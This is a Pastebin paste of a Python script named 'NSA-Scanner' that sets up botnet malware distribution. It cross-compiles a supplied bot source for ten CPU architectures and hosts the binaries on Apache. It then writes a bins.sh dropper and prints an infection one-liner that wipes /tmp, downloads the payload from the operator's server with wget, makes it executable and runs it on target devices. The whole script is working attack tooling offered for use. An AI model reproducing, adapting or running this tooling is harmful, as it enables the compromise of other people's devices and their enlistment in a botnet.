Advertisement
ZucoCheezy

NSA-Scanner

Dec 1st, 2018
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.04 KB | None | 0 0
  1. import subprocess, sys
  2.    
  3. if len(sys.argv[2]) != 0:
  4.     ip = sys.argv[2]
  5. else:
  6.     print("\x1b[0;31mIncorrect Usage!")
  7.     print("\x1b[0;32mpython NSA.py <Bot Name> <Server IP>\x1b[0m")
  8.     exit(1)
  9.    
  10. bot = sys.argv[1]
  11. YN = raw_input("Get arch's? Y/n:")
  12. if YN.lower() == "y":
  13.     get_arch = True
  14. else:
  15.     get_arch = False
  16.  
  17. compiles = ["mips",
  18.              "mipsel",
  19.              "sh4",
  20.              "x86_64",
  21.              "armv6l",
  22.              "i686",
  23.              "powerpc",
  24.              "i586",
  25.              "m68k",
  26.              "sparc"]
  27.  
  28. getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  29. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  30. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  31. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
  32. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
  33. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
  34. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  35. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  36. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  37. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2']
  38.  
  39. ccs = ["cross-compiler-mips",
  40.        "cross-compiler-mipsel",
  41.        "cross-compiler-sh4",
  42.        "cross-compiler-x86_64",
  43.        "cross-compiler-armv6l",
  44.        "cross-compiler-i686",
  45.        "cross-compiler-powerpc",
  46.        "cross-compiler-i586",
  47.        "cross-compiler-m68k",
  48.        "cross-compiler-sparc"]
  49.  
  50. def run(cmd):
  51.     subprocess.call(cmd, shell=True)
  52.  
  53. if get_arch == True:
  54.     run("rm -rf cross-compiler-*")
  55.  
  56.     print("Downloading Architectures")
  57.  
  58.     for arch in getarch:
  59.         run("wget " + arch + " --no-check-certificate >> /dev/null")
  60.         run("tar -xvf *.tar.*")
  61.         run("rm -rf *tar.bz2")
  62.        
  63.     print("Cross Compilers Downloaded...")
  64.  
  65. num = 0
  66. for cc in ccs:
  67.     arch = cc.split("-")[2]
  68.     run("./"+cc+"/bin/"+arch+"-gcc -static -lpthread -pthread -D" + arch.upper() + " -o " + compiles[num] + " " + bot + " > /dev/null")
  69.     num += 1
  70.  
  71. print("Cross Compiling Done!")
  72. print("Setting up your apache")
  73.  
  74. run("yum install httpd -y")
  75. run("apt-get install apache2 -y")
  76. run("service apache2 start")
  77. run("service httpd start")
  78.  
  79. for i in compiles:
  80.     run("mv " + i + " /var/www/html/")
  81.  
  82. run("service apache2 restart")
  83. run("service httpd restart")
  84.  
  85. for i in compiles:
  86.     run('echo -e "cd /tmp; rm -rf *; wget -q http://' + ip + '/' + i + '; chmod +x ' + i + '; sh ' + i + '; rm -rf *" >> /var/www/html/bins.sh')
  87.  
  88. run("service apache2 restart")
  89. run("service httpd restart")
  90. run('echo -e "ulimit -n 99999" >> ~/.bashrc')
  91.  
  92. print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
  93. print("\x1b[0;32mYour link: cd /tmp; rm -rf *; wget -q http://" + ip + "/bins.sh; chmod +x bins.sh; sh bins.sh; rm -rf *\x1b[0m")
  94. print
  95. print("\x1b[0;32mNSA.py coded by ZoZo\x1b[0m")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement